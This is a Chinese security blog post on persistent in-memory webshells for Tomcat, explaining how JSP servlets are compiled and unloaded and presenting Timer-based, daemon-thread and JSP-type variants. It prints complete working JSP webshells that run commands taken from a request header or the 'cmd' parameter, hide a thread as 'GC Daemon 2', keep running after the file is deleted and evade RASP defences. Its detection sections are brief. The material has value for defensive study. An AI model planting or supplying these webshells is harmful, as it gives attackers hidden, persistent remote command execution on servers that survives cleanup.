JavaWeb 内存马二周目通关攻略

前言

最近状态不好,没研究什么新东西,吃老本水文一篇。

在之前的文章《JavaWeb 内存马一周目通关攻略》中,总结了一些目前行业主流的内存马的实现方式,目前对于内存马的研究和讨论,在国内确实比较火,经常能看见各种各样的文章,在国外讨论的较少,因为歪果仁的日站习惯并不是webshell,而通常是reverse shell。

所以可以说算是某种程度上的行业领先了,在内存马技术快速迭代的同时,防御技术也要跟上,目前来讲,使用 java agent 技术结合多维度的防御、检测、扫描内存马的方式依旧是最好的方式,我因为是参与了商业化的 RASP 安全产品,也是可以做到主流内存马的检出和防御,关于《一周目》中的内存马类型,实际上还有很多攻与防的思路可以扩展,但由于商业性原因将不再进行讨论。

随着文章的发布,我还开源了一款非常基础的内存马查杀工具 SuAgent,用来对不同类型的内存马进行扫描和防御。

其实这里留下了伏笔,之前的文章我取名“一周目”,那就意味着将会有二周目、三周目,乃至更多。

这里由于看到了藏青师傅在先知上发表的JSP内存马研究,实际上跟我本来想在二周目中写的一些技术思想稍有重叠,所以这里就开始二周目的编写。

在本篇文章可能会引用到《一周目》中的一些技术和思想,如果还没看过之前的文章,建议先看前文,把前面提到的内存马原理了解一下,再看本文。

本文共提到了几种新的内存马实现方式:Timer 型内存马及其延伸——线程型内存马,以及JSP内存马。

切入点:新思路

二周目的思路,起源于园长的一篇文章Java Timer 后门,这是一篇在2014年就已经发布的文章,文章包含了一个 jsp 后门,这个 jsp 创建了一个 Timer 计时器对象,然后使用 schedule 方法创建了一个 TimerTask 对象,也就是说创建了一个定时任务,每隔 1000 ms,就执行一次 java.util.TimerTask#run 方法里面的逻辑。

也就是说,在访问了一次这个 jsp 后,会启动一个计时器进行无限循环,一次执行直到服务器重启。即使将这个 jsp 删除,依旧是会继续进行这个任务。

什么?删除 JSP 文件,任务还能执行?这不就没有文件落地了吗?这不就是内存马吗???内存马的思想在 2014 年就出现了???

暴风疑问后,有几个思考随之而来:

  1. 既然是 jsp,我们知道 jsp 的本质就是 servlet,那这还是之前提到的 Servlet 型内存马吗?
  2. 为什么 jsp 删掉了,任务还会继续运行?
  3. 这种定时任务,能否做到像之前的 Servlet 型内存马一样,在每次请求时拿到入参,执行结果并返回?

带着这几个问题,开始研究和学习。

Timer 型内存马

首先根据使用的关键类,我将其命名为 Timer 型内存马,首先简单改了一下园长的代码,用于测试:创建 Timer 及 TimerTask,每隔 10 秒钟弹一次计算器。

<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
  out.println("timer jsp shell");
  java.util.Timer executeSchedule = new java.util.Timer();
  executeSchedule.schedule(new java.util.TimerTask() {
    public void run() {
      try {
        Runtime.getRuntime().exec("open -a Calculator.app");
      } catch (IOException e) {
        e.printStackTrace();
      }
    }
  }, 0, 10000);
%>

按照之前说的流程,启动并访问,页面显示内容,并开始弹出计算器。

此时我们删掉这个 jsp,再次访问,页面已经消失,程序会返回 404 状态码。

但是计算器却依旧在不停的弹,在 Idea Debugger 的 Threads 中也可以看到我们创建的 Timer 线程。

这就验证了之前描述的流程,接下来开始探究之前的思考。

jsp 与 servlet

这里依旧以 Tomcat 为例,按照 Servlet 的特点,一个 Servlet 在注册时会被封装成 org.apache.catalina.core.StandardWrapper,在其 mappings 中添加类名,并将访问路径及类名的映射关系存储在 org.apache.catalina.core.StandardContext#servletMappings 中。

而 jsp 的本质,就是 servlet,只不过由 Tomcat 实现了动态转换、编译、加载、执行的过程,这部分在Javasec 的 ClassLoader 一章有简单的描述和实现,有兴趣的读者可以先看此文。

而通过查看 StandardContext 的 servletMappings,我们发现,加载后的 jsp 文件并不在这里,这里只是将 *.jsp/*.jspx 都映射到了一个关键字 "jsp" 上。

这部分实际上是由 Tomcat 配置文件中的 web.xml 所配置的,配置了处理 jsp 的类为 org.apache.jasper.servlet.JspServlet 类。

并为其映射了访问路径为 *.jsp/*.jspx 的文件。

接下来看下 JspServlet 的处理逻辑,总体来说分为三步:

  1. JSP 引擎将 .jsp 文件翻译成一个 servlet 源代码;
  2. 将 servlet 源代码编译成 .class 文件;
  3. 加载并执行这个编译后的文件。

而这一整套流程,实际上就是 Tomcat 为 JSP 的处理单独建立了一套与普通 Servlet 类似的 Servlet/Context/Wrapper 的体系:

  • org.apache.jasper.compiler.JspRuntimeContext:JSP 引擎上下文
  • org.apache.jasper.servlet.JspServletWrapper:编译后 jsp 的封装类

而 JspRuntimeContext 中则会存放访问路径和 wrapper 的映射。

这个流程我们是很熟悉的,这里通过跟源代码简单分析一下 Tomcat 的处理流程:

JspServlet 类的 service 方法用来处理 JSP 请求:

核心方法为 serviceJspFile 方法,在 context 中获取 wrapper,如果没有,先判断文件还在不在,如果在就创建,否则就调用 handleMissingResource 方法处理请求,然后调用 wrapper 的 service 方法处理,同时也 catch 了 FileNotFoundException 异常。

创建 JspServletWrapper 时,同时创建了 JspCompilationContext 类用于将 jsp 编译成 class 文件,用于后续加载。

JspServletWrapper 的 service 方法在判断了一些标识位后,判断是否是首次访问,是否需要对 jsp 进行编译,如需要则会调用 JspCompilationContext#compile 方法来对 jsp 进行编译,实际上是使用 org.apache.jasper.compiler.JDTCompiler 来进行相关的处理,编译后的 .java.class 文件会存放在 Tomcat 的 work 目录下。

调用 getServlet() 获取访问的 jsp 生成的 servlet 类实例。后续会调用 servlet 实例的 service 方法。

getServlet() 方法又判断了页面是否有修改,如果修改则需要进行 reload,会先调用 destroy 方法销毁之前的类实例,再进行重新加载。加载是使用了 InstanceManager 调用 org.apache.jasper.servlet.JasperLoader 来进行 loadClass。

destory 方法会调用 servlet 实例的 destory 方法,并使用 InstanceManager 的 destroyInstance 的方法销毁这个实例。

到此位置,对于访问一个 JSP 时 Tomcat 的处理流程的简单分析就结束了,那如果在 Tomcat 运行时,将 JSP 删除再访问,会怎么样呢?

事实上,Tomcat 不会去监听文件的变化,而是在下一次访问时再进行处理:

  1. JspCompilationContext#compile 方法中,会调用 this.jspCompiler.isOutDated() 判断文件状态;
  2. 方法根据 JspCompilationContext#getLastModified 方法判断 JSP 本地 resource 是否存在,如果不存在,则通过将 JspCompilationContext#removed 标识为 true 来代表了文件已经被移除;
  3. 调用 JspRuntimeContext#removeWrapperJspRuntimeContext#jsps 中移除访问路径与 wrapper 的映射;
  4. 随后会抛出 FileNotFoundException 异常,终止后续的处理逻辑。
  5. 被移除的 wrapper 因为失去了引用,将会被等待 GC。

以上就是一个 jsp 的生命周期,现在目光回到 Timer 内存马上,按理说,JSP 被删除后,对应的访问映射不存在了,实际执行的 servlet 实例和 wrapper 对象失去了引用将会等待销毁,被销毁后,里面的代码自然就失效了。

但是由于在恶意代码创建了 Timer 定时任务,而 Timer 会创建一个定时任务线程 TimerThread,Timer 的特性是,如果不是所有未完成的任务都已完成执行,或不调用 Timer 对象的cancel 方法,这个线程是不会停止,也不会被 GC 的,因此,这个任务会一直执行下去,直到应用关闭。

实现

在经历了以上调试后,再来回答开始思考的三个问题。

既然是 jsp,我们知道 jsp 的本质就是 servlet,那这还是之前提到的 Servlet 型内存马吗?

答:内存驻留的原因不是 servlet ,跟 servlet 关系不大,因此不是 servlet 型内存马。

为什么 jsp 删掉了,任务还会继续运行?

答:由 Timer 创建的线程在任务没有自然执行完毕,或没有调用结束时,是不会被 GC 的。

这种定时任务,能否做到像之前的 Servlet 型内存马一样,在每次请求时拿到入参,执行结果并返回?

答:男人,不能说不行。

这样就出现了新问题:怎么能利用 Timer,实现成 Servlet 型内存马一样的交互呢?

这里既然是线程,就立刻想到了利用线程中获取 request 回显的思路:创建定时任务,每隔一秒在线程中循环遍历 request,找到带有特定 header 的 request 对象,获取 header 参数并执行命令。

废话不多说,直接上 jsp。

<%@ page import="java.util.List" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.HashSet" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public static List<Object> getRequest() {
        try {
            Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));

            for (Thread thread : threads) {
                if (thread != null) {
                    String threadName = thread.getName();
                    if (!threadName.contains("exec") && threadName.contains("http")) {
                        Object target = getField(thread, "target");
                        if (target instanceof Runnable) {
                            try {
                                target = getField(getField(getField(target, "this$0"), "handler"), "global");
                            } catch (Exception var11) {
                                continue;
                            }

                            List processors = (List) getField(target, "processors");

                            for (Object processor : processors) {
                                target = getField(processor, "req");

                                threadName = (String) target.getClass().getMethod("getHeader", String.class).invoke(target, new String("su18"));
                                if (threadName != null && !threadName.isEmpty()) {

                                    Object       note = target.getClass().getDeclaredMethod("getNote", int.class).invoke(target, 1);
                                    Object       req  = note.getClass().getDeclaredMethod("getRequest").invoke(note);
                                    List<Object> list = new ArrayList<Object>();
                                    list.add(req);
                                    list.add(threadName);
                                    return list;
                                }
                            }
                        }
                    }
                }
            }
        } catch (Exception ignored) {
        }

        return new ArrayList<Object>();
    }

    private static Object getField(Object object, String fieldName) throws Exception {
        Field field = null;
        Class clazz = object.getClass();

        while (clazz != Object.class) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException var5) {
                clazz = clazz.getSuperclass();
            }
        }

        if (field == null) {
            throw new NoSuchFieldException(fieldName);
        } else {
            field.setAccessible(true);
            return field.get(object);
        }
    }
%>
<%
    final HashSet<Object> set = new HashSet<Object>();
    java.util.Timer executeSchedule = new java.util.Timer();
    executeSchedule.schedule(new java.util.TimerTask() {
        public void run() {
            List<Object> list = getRequest();
            if (list.size() == 2) {
                if (!set.contains(list.get(0))) {
                    set.add(list.get(0));
                    try {
                        Runtime.getRuntime().exec(list.get(1).toString());
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }
    }, 0, 100);
%>

涉及思路和细节请自行查看和调试,最终效果:

这只是 JSP 实例,可以结合其他基础洞如反序列化等进行尝试。

延伸:线程型内存马

根据以上的思考,可以发现,所谓的 Timer 型内存马,实际上就是想办法在服务器上启动一个永远不会被 GC 的线程,在此线程中定时或循环执行恶意代码,达到内存马的目的

在上面的实现中,首先创建了一个独立于请求的线程,由这个线程里的动作用来实现恶意行为,这个线程里的行为不会自然终止,会持续运行直到 JVM 退出。

这种描述让你想到了什么?没错,就是守护线程。

新建线程的操作在攻击中有很多好处,其中之一就是可以绕过 RASP 类型的防御手段。这种思路早在我之前发布的 su18.jsp 中有所体现。

实现

所以上面的 Timer 型内存马的关键代码可以修改为如下代码:

<%@ page import="java.util.List" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.HashSet" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public static List<Object> getRequest() {
        // 与之前一致
    }

    private static Object getField(Object object, String fieldName) throws Exception {
       // 与之前一致
    }

    private static ThreadGroup getSystemThreadGroup() {
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        while (!group.getName().equals("system")) {
            group = group.getParent();
        }
        return group;
    }
%>
<%
    final HashSet set = new HashSet();

    // 新建线程,加入到 system 线程组中
    Thread d = new Thread(getSystemThreadGroup(), new Runnable() {
        public void run() {

            // 死循环
            while (true) {
                try {
                    // 恶意逻辑
                    List<Object> list = getRequest();
                    if (list.size() == 2) {
                        if (!set.contains(list.get(0))) {
                            set.add(list.get(0));
                            try {
                                Runtime.getRuntime().exec(list.get(1).toString());
                            } catch (Exception e) {
                                e.printStackTrace();
                            }
                        }
                    }

                    // while true + sleep ,相当于 Timer 定时任务
                    Thread.sleep(100);
                } catch (Exception ignored) {
                }
            }
        }
        // 给线程起名叫 GC Daemon 2,没人会注意吧~
    }, "GC Daemon 2", 0);

    // 设为守护线程
    d.setDaemon(true);
    d.start();
%>

可以看到,我这里是创建了一个守护线程,命名为 "GC Daemon 2",然后把它直接放在了 system 线程组中,用来隐蔽自己。线程中是跟 Timer 型内存马一样的循环执行 request 中带入的命令的逻辑。

创建线程、定时任务的方式还有很多种,请自行发散。

查杀

那对于线程型内存马,该如何进行查杀呢?

这里我提供一种非常简单的查杀方式,可以通过购买 RASP 安全产品灵蜥来解决。QAQ

JSP型内存马

在上述 Timer 内存马的分析流程中,涉及到了 JSP 的处理流程。虽然现在知道 Timer 型内存马本身跟 JSP 没太大关系,但是还是发现了可以实现类似 Servlet-API 型内存马的新方式——也就是JSP型内存马。

之前提到,编译、实例化的 JSP 文件,会被 JspServletWrapper 封装,然后将其与访问路径的映射存放在 JspRuntimeContext 中。在访问这个 jsp 的路径时,会判断文件是否删除、是否更改、是否需要重新编译等等判断信息进行相关的处理,处理之后调用 JspServletWrapper 中封装的 JSP 编译之后生成的 Servlet 执行具体逻辑。

因此与之前我们讨论的 Servlet 型内存马类似,我们可以自己创建对应的类放在相应的位置。此处的重点在于如何绕过访问时的对于 JSP 状态一些判断。

在藏青师傅的文章中,提到了两种绕过的方式:

  • 使 options.getDevelopment() 返回 false,这样 Tomcat 就不会动态重新编译 jsp 了;
  • 使 jspCompiler.isOutDated() 返回 false,标识 jsp 没有修改,无需重新加载和编译,这个思路由鲸落师傅发表在安全客的这篇文章上。

实现

两位师傅针对两种绕过思路给出了各自的实现,以及自删除的实现,例如如下代码,可执行命令,并且即使删除 jsp 文件,也依旧可以执行。

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.jasper.EmbeddedServletOptions" %>
<%
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    InputStream in = process.getInputStream();
    int a = 0;
    byte[] b = new byte[1024];

    while ((a = in.read(b)) != -1) {
        out.println(new String(b, 0, a));
    }

    in.close();

    //从request对象中获取request属性
    Field requestF = request.getClass().getDeclaredField("request");
    requestF.setAccessible(true);
    Request req = (Request) requestF.get(request);
    //获取MappingData
    MappingData mappingData = req.getMappingData();
    //获取Wrapper
    Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
    wrapperF.setAccessible(true);
    Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
    //获取jspServlet对象
    Field instanceF = wrapper.getClass().getDeclaredField("instance");
    instanceF.setAccessible(true);
    Servlet jspServlet = (Servlet) instanceF.get(wrapper);
    //获取options中保存的对象
    Field Option = jspServlet.getClass().getDeclaredField("options");
    Option.setAccessible(true);
    EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet);
    //设置development属性为false
    Field Developent = op.getClass().getDeclaredField("development");
    Developent.setAccessible(true);
    Developent.set(op, false);
%>

查杀

JSP型内存马的本质,是 Servlet,只要是 Servlet 型内存马,基本可以使用 SuAgent 来进行初步的检测,但有所不同的是,对于先创建再删除的 jsp,虽然 jsp 已经被删除,但是动态创建的 .java 以及 .class 文件没被删除。

在没被删除的情况下,内存中对应的 servlet class 其实是有文件落地的,因此可以绕过包括 SuAgent 在内的一些查杀手段。

虽然先创建再删除这个过程违背了内存马的初衷,但这也算是实战中能够遇到的一种情况,需要考虑。

那么该如何彻底查杀JSP型内存马呢?

其实也很好理解,如果一个 jsp 路径可以访问,或对应的 class 文件存在,但是 jsp 本身不存在,就可能会出现风险。

根据以上思路,我们可以通过拿到系统中全部的 Servlet 类实例之后,判断这是否是一个 jsp 编译的类,再通过 ClassLoader、Context 等反推 jsp 文件位置,使用 File.exists() 判断源 jsp 文件是否存在。

基于这种思路,我简单实现了JSP型内存马的查杀,截图如下:

但实际上,这种查杀思路在很多实际场景下是不生效的,因此还需要找到其他的查杀方式:非常简单,可以通过购买 RASP 安全产品灵蜥来解决。

总结

本篇文章总结了两种在 《一周目》中没有涉及的内存马实现思路:

  • 线程型内存马:想办法在服务器上启动一个永远不会被 GC 的线程,在此线程中定时或循环执行恶意代码,达到内存马的目的。
  • JSP型内存马:利用绕过 JSP 删除后再次访问时触发的回收机制,来让 JSP 编译后的类驻留在内存中,即使删除 JSP 文件后依旧可以访问,达到内存马的目的。

并根据以上的分析给出实现和查杀思路。对于线程型内存马,目前我给出的实现方式并不优雅,但也足够了,旨在抛砖引玉,希望各位师傅们提出更多的思路及想法。

对于以上两种类型内存马的查杀代码,可能等到再完善和测试一段时间后,会更新到我关于内存马的项目中,敬请期待一下。

引用

https://xz.aliyun.com/t/10372

https://www.anquanke.com/post/id/224698

https://javasec.org

https://www.javaweb.org/